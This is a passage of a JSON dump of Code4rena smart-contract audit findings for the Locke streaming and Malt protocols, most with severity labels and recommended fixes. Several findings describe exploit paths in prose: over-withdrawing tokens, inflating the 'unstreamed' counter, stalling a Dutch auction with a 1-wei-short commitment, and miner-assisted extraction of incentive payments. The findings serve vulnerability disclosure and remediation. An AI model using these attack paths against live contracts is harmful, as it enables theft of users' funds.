"body": "prevent rounding error"}, {"title": "ts.tokens sometimes calculated incorrectly", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/123", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Suppose someone stakes some tokens and then withdraws all of his tokens (he can still withdraw). This will result in ts.tokens being 0. Now after some time he stakes some tokens again. At the second stake updateStream() is called and the following if condition is false because ts.tokens==0 ```JS if (acctTimeDelta > 0 && ts.tokens > 0) { ``` Thus ts.lastUpdate is not updated and stays at the value from the first withdraw. Now he does a second withdraw. updateStream() is called an calculates the updated value of ts.tokens. However it uses ts.lastUpdate, which is the time from the first withdraw and not from the second stake. So the value of ts.token is calculated incorrectly. Thus more tokens can be withdrawn than you are supposed to be able to withdraw. ## Proof of Concept https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L417-L447 ```JS function stake(uint112 amount) public lock updateStream(msg.sender) { ... uint112 trueDepositAmt = uint112(newBal - prevBal); ... ts.tokens += trueDepositAmt; ``` https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L455-L479 ```JS function withdraw(uint112 amount) public lock updateStream(msg.sender) { ... ts.tokens -= amount; ``` https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L203-L250 ```JS function updateStreamInternal(address who) internal { ... uint32 acctTimeDelta = uint32(block.timestamp) - ts.lastUpdate; if (acctTimeDelta > 0 && ts.tokens > 0) { // some time has passed since this user last interacted // update ts not yet streamed ts.tokens -= uint112(acctTimeDelta * ts.tokens / (endStream - ts.lastUpdate)); ts.lastUpdate = uint32(block.timestamp); } ``` ## Tools Used ## Recommended Mitigation Steps Change the code in updateStream() to: ```JS if (acctTimeDelta > 0 ) { // some time has passed since this user last interacted // update ts not yet streamed if (ts.tokens > 0) ts.tokens -= uint112(acctTimeDelta * ts.tokens / (endStream - ts.lastUpdate)); ts.lastUpdate = uint32(block.timestamp); // always update ts.lastUpdate (if time has elapsed) } ``` Note: the next if statement with unstreamed and lastUpdate can be changed in a similar way to save some gas "}, {"title": "recoverTokens doesn't work when isSale is true", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/121", "labels": ["bug", "3 (High Risk)"], "target": "2021-11-streaming-findings", "body": "recoverTokens doesn't work when isSale is true"}, {"title": "claimReward unnessary logic", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "claimReward unnessary logic"}, {"title": "Storage variable unstreamed can be artificially inflated", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/118", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact The storage variable `unstreamed` keeps track of the global amount of deposit token in the contract that have not been streamed yet. This variable is a public variable, and users that read this variable likely want to use its value to determine whether or not they want to stake in the stream. The issue here is that `unstreamed` is incremented on calls to `stake`, but it is not being decremented on calls to `withdraw`. As a result, a malicious user could simply stake, immediately withdraw their staked amount, and they will have increased `unstreamed`. They could do this repeatedly or with large amounts to intentionally inflate `unstreamed` to be as large as they want. Other users would see this large amount and be deterred to stake in the stream, since they would get very little reward relative to the large amount of unstreamed deposit tokens that *appear* to be in the contract. This benefits the attacker as less users will want to stake in the stream, which leaves more rewards for them. ## Proof of Concept See `stake` here: https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L417 See `withdraw` here: https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L455 Notice that `stake` increments `unstreamed` but `withdraw` does not affect `unstreamed` at all, even though `withdraw` is indeed removing unstreamed deposit tokens from the contract. ## Tools Used Inspection ## Recommended Mitigation Steps Add the following line to `withdraw` to fix this issue: ``` unstreamed -= amount; ``` "}, {"title": "Use of ecrecover is susceptible to signature malleability", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/117", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "Use of ecrecover is susceptible to signature malleability"}, {"title": "flashLoan does not have a return statement", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/114", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "flashLoan does not have a return statement"}, {"title": "Governance has the ability to withdraw tokens the stream doesn't know about", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/112", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Governance has the ability to withdraw tokens the stream doesn't know about"}, {"title": "LockeERC20 name is not implemented as comment imply", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/110", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle wuwe1 # Vulnerability details ```solidity // locke + depositTokenName + streamId = lockeUSD Coin-1 name = string(abi.encodePacked(\"locke\", ERC20(depositToken).name(), \": \", toString(streamId))); ``` As the comment imply, the `\": \"` should be `\"-\"` ## Recommended Mitigation Steps Consider change the comment or the code. "}, {"title": "Caching variables", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "# Handle Jujic # Vulnerability details ## Impact Some of the variables can be cached to slightly reduce gas usage ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L343 https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L406-L407 https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L461-L479 ``` function withdrawRedundant(address _token, address _to) external override onlyOwner { if ( _token == address(token) && balance < IERC20(token).balanceOf(address(this)) ) { uint256 _redundant = IERC20(token).balanceOf(address(this)) - balance; IERC20(token).safeTransfer(_to, _redundant); } else if (IERC20(_token).balanceOf(address(this)) > 0) { IERC20(_token).safeTransfer( _to, IERC20(_token).balanceOf(address(this)) ); } } ``` ## Tools Used Remix ## Recommended Mitigation Steps Consider caching those variable for read and make sure write back to storage Example: ``` bal = IERC20(_token).balanceOf(address(this); ``` "}, {"title": "Wrong comment in claimReward", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/102", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "Wrong comment in claimReward"}, {"title": "Unnecessary call to lastApplicableTime() in claimReward()", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle kenzo # Vulnerability details Since `claimReward` can only be called after `endRewardLock`, `lastApplicableTime` will always return `endStream`. ## Impact Some gas can be saved. ## Proof of Concept `claimReward` will only run if time > endRewardLock (which is >= endStream): ``` require(block.timestamp > endRewardLock, \"lock\"); ``` https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L556 `claimReward` is calling `lastApplicableTime`: ``` lastUpdate = lastApplicableTime(); ``` https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L567 And this is `lastApplicableTime`: ``` return block.timestamp <= endStream ? uint32(block.timestamp) : endStream; ``` https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L340 Therefore, it will always return `endStream`. ## Recommended Mitigation Steps In `claimReward`, change this line: ``` lastUpdate = lastApplicableTime(); ``` https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L340 To: ``` lastUpdate = endStream; ``` "}, {"title": "No need to temporarily save old values when updating settings", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "No need to temporarily save old values when updating settings"}, {"title": "Global unstreamed variable not kept up to date", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/98", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "Global unstreamed variable not kept up to date"}, {"title": "Use one require instead of several", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Use one require instead of several"}, {"title": "Inaccuate comment about claimFees()", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/94", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "Inaccuate comment about claimFees()"}, {"title": "Remove unneeded variable in creatorClaimSoldTokens() to save gas", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Remove unneeded variable in creatorClaimSoldTokens() to save gas"}, {"title": "Remove redundant math to save gas in dilutedBalance()", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Remove redundant math to save gas in dilutedBalance()"}, {"title": "TODOs List May Leak Important Info & Errors", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-11-streaming-findings", "body": "TODOs List May Leak Important Info & Errors"}, {"title": "creatorClaimSoldTokens() Does Not Check Destination Address", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/77", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "creatorClaimSoldTokens() Does Not Check Destination Address"}, {"title": "Stream.sol: possible tx.origin attack vector via recoverTokens()", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "Stream.sol: possible tx.origin attack vector via recoverTokens()"}, {"title": "Governed.sol: setPendingGov() should use the emergency_governed modifier.", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/72", "labels": ["bug", "0 (Non-critical)", "2 (Med Risk)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "Governed.sol: setPendingGov() should use the emergency_governed modifier."}, {"title": "Stream.claimReward can be simplified", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Stream.claimReward can be simplified"}, {"title": "Missing zero-address checks on LockeERC20 and Stream construction", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/68", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "Missing zero-address checks on LockeERC20 and Stream construction"}, {"title": "Stream.updateStreamInternal performs extra storage reads", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/67", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Stream.updateStreamInternal performs extra storage reads"}, {"title": "Free flashloan for governance", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/66", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Free flashloan for governance"}, {"title": "Deny of service because integer overflow", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/65", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "Deny of service because integer overflow"}, {"title": "Use _notSameBlock", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-streaming-findings", "body": "Use _notSameBlock"}, {"title": "Delete unnecessary variable", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas optimization. ## Proof of Concept In the method exit of Locke contract, ts.tokens was stored in a local variable, amount, and then this variable was used for call withdraw method, is better to call directly like `withdraw(ts.tokens)` Source reference: - https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L492-L493 ## Tools Used Manual review. ## Recommended Mitigation Steps Remove the amount variable. "}, {"title": "Remove dead code", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Remove dead code"}, {"title": "LockeERC20 is vulnerable to frontrun attack", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/55", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "LockeERC20 is vulnerable to frontrun attack"}, {"title": "Avoid multiple cast", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Avoid multiple cast"}, {"title": "Flashloan is given for 1 token but checks balances for both reward and deposit token", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle pedroais # Vulnerability details ## Impact Useless checks that cost gas ## Proof of Concept Since the Flashloan function has the lock modifier reentrancy is not possible so checking both tokens is useless. ## Recommended Mitigation Steps Proposed new function with less code : function flashloan(address token, address to, uint112 amount, bytes memory data) public lock { require(token == depositToken || token == rewardToken, \"erc\"); uint256 preTokenBalance = ERC20(token).balanceOf(address(this)); ERC20(token).safeTransfer(to, amount); // the `to` contract should have a public function with the signature: // function lockeCall(address initiator, address token, uint256 amount, bytes memory data); LockeCallee(to).lockeCall(msg.sender, token, amount, data); uint256 postTokenBalance = ERC20(token).balanceOf(address(this)); uint112 feeAmt = amount * 10 / 10000; // 10bps fee require(preTokenBalance + feeAmt <= postTokenBalance, \"f1\"); if (token == depositToken) { depositTokenFlashloanFeeAmount += feeAmt; } else { rewardTokenFeeAmount += feeAmt; } emit Flashloaned(token, msg.sender, amount, feeAmt); } "}, {"title": "arbitraryCall() can get blocked by an attacker", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "arbitraryCall() can get blocked by an attacker"}, {"title": "Subtraction can be done unchecked because the require statement checks for underflow", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/46", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Subtraction can be done unchecked because the require statement checks for underflow"}, {"title": "Stream constructor reuse the function arguments instead storage variables", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Stream constructor reuse the function arguments instead storage variables"}, {"title": "Cache the return value from rewardPerToken()", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Save gas by caching the return value from rewardPerToken() in a local variable and use the local variable L220 and L222. This saves us two storage reads (1 cold = 800 gas, and 1 warm= 100 gas). It is way cheaper to read from a local variable (push/pop operations 2-3 gas each + cheap others) Note: same for the claimReward() function on L555 ## Proof of Concept https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L203 https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L555 ## Tools Used ## Recommended Mitigation Steps - cache in a local variable: uint256 _rewardPerToken = rewardPerToken(); - write the value to the storage variable: cumulativeRewardPerToken = _rewardPerToken; - replace the occurrences of cumulativeRewardPerToken on L220/222 with _rewardPerToken "}, {"title": "Struct TokenStream remove unused variable merkleAccess", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Remove the unused merkleAccess variable in the TokenStream struct. According to the struct packing it uses a single storage slot. ## Proof of Concept https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L106 ## Tools Used ## Recommended Mitigation Steps - remove the unused merkleAccess variable in the TokenStream struct "}, {"title": "depositTokens need to have a decimals() function", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Only ERC20 tokens with a decimals() function can be used as a depositToken. A stream creator maybe not be aware of this restriction and the creation of a stream would revert. ## Proof of Concept In the constructor of the Stream contract the decimals() (L310) functions of the depositToken is called. But according to EIP20 (https://eips.ethereum.org/EIPS/eip-20) the decimals() function is optional. https://github.com/code-423n4/2021-11-streaming/blob/56d81204a00fc949d29ddd277169690318b36821/Streaming/src/Locke.sol#L310 ## Tools Used ## Recommended Mitigation Steps - clearly inform the stream creator that the depositToken needs to have the decimals() function implemented "}, {"title": "Dead code", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Dead code"}, {"title": "Missing Emit in critical function", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle cyberboy # Vulnerability details ## Impact Events for critical state changes (e.g., owner and other critical parameters) should be emitted for tracking this off-chain. ## Proof of Concept https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L41-L43 The function \"setEmergencyGov\" is missing event emit, and it is a critical function used for setting emergency governer. ## Tools Used Slither ## Recommended Mitigation Steps Add an event and emit it as a new emergency governor is set. "}, {"title": "Use const instead of storage", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Use const instead of storage"}, {"title": "Missing NatSpec comments", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-streaming-findings", "body": "Missing NatSpec comments"}, {"title": "Use inmutable keyword", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Use inmutable keyword"}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "Typos"}, {"title": "Division before multiple can lead to precision errors", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/28", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-streaming-findings", "body": "# Handle cyberboy # Vulnerability details ## Impact Performing multiplication before division is generally better to avoid loss of precision because Solidity integer division might truncate ## Proof of Concept https://github.com/code-423n4/2021-11-streaming/blob/main/Streaming/src/Locke.sol#L237-L238 globalStreamingSpeedPerSecond is later used for unstreamed for multiplication after performing division while calculation of globalStreamingSpeedPerSecond ## Tools Used Slither ## Recommended Mitigation Steps The code can be optimized to use uint112((uint256(tdelta) * (uint256(unstreamed) * 10**6) / (endStream - lastUpdate) * 10**6 Or maybe just (uint112((uint256(tdelta) * (uint256(unstreamed)) / (endStream - lastUpdate) "}, {"title": "Missing zero Address check ", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-11-streaming-findings", "body": "Missing zero Address check "}, {"title": "constructor should guard against zero addresses", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/20", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-11-streaming-findings", "body": "constructor should guard against zero addresses"}, {"title": "Floating Pragma is set.", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/19", "labels": ["bug", "1 (Low Risk)"], "target": "2021-11-streaming-findings", "body": "Floating Pragma is set."}, {"title": "Internal functions to private", "html_url": "https://github.com/code-423n4/2021-11-streaming-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-streaming-findings", "body": "Internal functions to private"}, {"title": "Gas optimization: Unnecessary return string", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/385", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gzeon # Vulnerability details ## Impact https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/PoolTransferVerification.sol#L61 ``` return ( maltDataLab.maltPriceAverage(priceLookback) > priceTarget * (10000 - thresholdBps) / 10000, \"The price of Malt is below peg. Wait for peg to be regained or purchase arbitrage tokens.\" ); ``` when the condition is true (which should be the majority of time), the reason string is unnecessary. Only return the string when the condition is false. "}, {"title": " Unnecessary intermediate variables (MovingAverage.sol)", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/382", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": " Unnecessary intermediate variables (MovingAverage.sol)"}, {"title": "DOS with unbounded loop", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/380", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle Koustre # Vulnerability details ## Impact In UniswapHandler, in the function ```removeBuyer``` there is a for loop over an unbounded Buyers array, which if the buyers array gets too large can cause a denial of service and prevents the contract from being able to remove buyer roles from users/contracts. This would allow users/contracts to circumvent recovery mode and to continue to purchase and sell tokens using the contract. ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ## Tools Used - Manual Study ## Recommended Mitigation Steps - remove unbounded for loop "}, {"title": "Can remove treasuryRewardCut from ForfeitHandler.sol", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/379", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In ForfeitHandler.sol, there are two values `swingTraderRewardCut ` and `treasuryRewardCut `, and these values always sum to 1000. Instead of having to go through all of the logic of setting these values independently and always ensuring that they sum to 1000, it would be simpler (and definitely save a lot of gas) if you simply removed everything related to `treasuryRewardCut` and always just used `1000-swingTraderRewardCut` in its place. This also is more similar to what is done in StabilizerNode.sol where `treasuryCut` is simply what is left over after other components have taken their cut. ## Proof of Concept See ForfeitHandler.sol here: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/ForfeitHandler.sol ## Tools Used Inspection ## Recommended Mitigation Steps Simplify logic and save gas by removing `treasuryRewardCut`. "}, {"title": "Unncessary statement in UniswapHandler.sol removeBuyer", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/377", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle harleythedog # Vulnerability details ## Impact In UniswapHandler.sol within the `removeBuyer` function, there is a statement on line 308: ``` address buyer; ``` This variable is not used at all in the rest of the function, so this statement can be removed to save gas. ## Proof of Concept See statement here: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/DexHandlers/UniswapHandler.sol#L308 ## Tools Used Inspection ## Recommended Mitigation Steps Remove unnecessary line to save gas "}, {"title": "Dutch auction can be manipulated", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/375", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gzeon # Vulnerability details ## Impact When malt is under-peg and the swing trader module do not have enough capital to buy back to peg, a Dutch auction is triggered to sell arb token. The price of the Dutch auction decrease linearly toward endprice until _endAuction() is called. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L589 _endAuction() is called in 1. When auction.commitments >= auction.maxCommitments https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L212 2. On stabilize() -> checkAuctionFinalization() -> _checkAuctionFinalization() https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L146 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L754 3. On stabilize() ->_startAuction() -> triggerAuction() -> _checkAuctionFinalization() https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L170 https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L754 It is possible manipulate the dutch auction by preventing _endAuction() being called. ## Proof of Concept Consider someone call purchaseArbitrageTokens with auction.maxCommitments minus 1 wei, `_endAuction` won't be called because auction.commitments < auction.maxCommitments. Further purchase would revert because `purchaseAndBurn` (https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L184) would likely revert since swapping 1 wei in most AMM will fail due to rounding error. Even if it does not revert, there is no incentive to waste gas to purchase 1 wei of token. As such, the only way for the auction to finalize is to call stabilize(). However, this is not immediately possible because it require `block.timestamp >= stabilizeWindowEnd` where `stabilizeWindowEnd = block.timestamp + stabilizeBackoffPeriod` stabilizeBackoffPeriod is initially set to 5 minutes in the contract After 5 minute, stabilize() can be called by anyone. By using this exploit, an attacker can guarantee he can purchase at (startingPrice+endingPrice)/2 or lower, given the default 10 minute auctionLength and 5 minute stabilizeBackoffPeriod. (unless a privileged user call stabilize() which override the stability window) Also note that stabilize() might not be called since there is no incentive. ## Recommended Mitigation Steps 1. Incentivize stabilize() or incentivize a permission-less call to _endAuction() 2. Lock-in auction price when user commit purchase "}, {"title": "Malt Protocol Uses Stale Results From `MaltDataLab` Which Can Be Abused By Users", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/373", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `MaltDataLab` integrates several `MovingAverage` contracts to fetch sensitive data for the Malt protocol. Primary data used by the protocol consists of the real value for LP tokens, the average price for Malt and average reserve ratios. `trackMaltPrice`, `trackPoolReserves` and `trackPool` are called by a restricted role denoted as the `UPDATER_ROLE` and represented by an EOA account and not another contract. Hence, the EOA account must consistently update the aforementioned functions to ensure the most up-to-date values. However, miners can censor calls to `MaltDataLab` and effectively extract value from other areas of the protocol which use stale values. ## Proof of Concept Consider the following attack vector: - The price of Malt exceeds the lower bound threshold and hence `stabilize` can be called by any user. - The `_stabilityWindowOverride` function is satisfied, hence the function will execute. - The state variable, `exchangeRate`, queries `maltPriceAverage` which may use an outdated exchange rate. - `_startAuction` is executed which rewards `msg.sender` with 100 Malt as an incentive for triggering an auction. - As the price is not subsequently updated, a malicious attacker could collude with a miner to censor further pool updates and continue calling `stabilize` on every `fastAveragePeriod` interval to extract incentive payments. - If the payments exceed what the `UPDATER_ROLE` is willing to pay to call `trackMaltPrice`, a user is able to sustain this attack. This threatens the overall stability of the protocol and should be properly handled to prevent such attacks. However, the fact that `MaltDataLab` uses a series of spot price data points to calculate the `MovingAverage` also creates an area of concern as well-funded actors could still manipulate the `MovingAverage` contract by sandwiching calls to `trackMaltPrice`, `trackPool` and `trackPoolReserves`. `trackMaltPrice`, `trackPool`, and `trackPoolReserves` should be added to the following areas of the code where applicable. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Bonding.sol#L159 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Bonding.sol#L173 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Bonding.sol#L177 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L881 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L710 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L156 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L190 https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/ImpliedCollateralService.sol#L105 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider adding calls to `trackMaltPrice`, `trackPoolReserves` and `trackPool` wherever the values are impacted by the protocol. This should ensure the protocol is tracking the most up-to-date values. Assuming the cumulative values are used in the `MovingAverage` contracts, then sensitive calls utilising `MaltDataLab` should be protected from flashloan attacks. However, currently this is not the case, rather `MovingAverage` consists of a series of spot price data points which can be manipulated by well-funded actors or via a flashloan. Therefore, there needs to be necessary changes made to `MaltDataLab` to use cumulative price updates as its moving average instead of spot price. "}, {"title": "AMM pool can be drained using a flashloan and calling 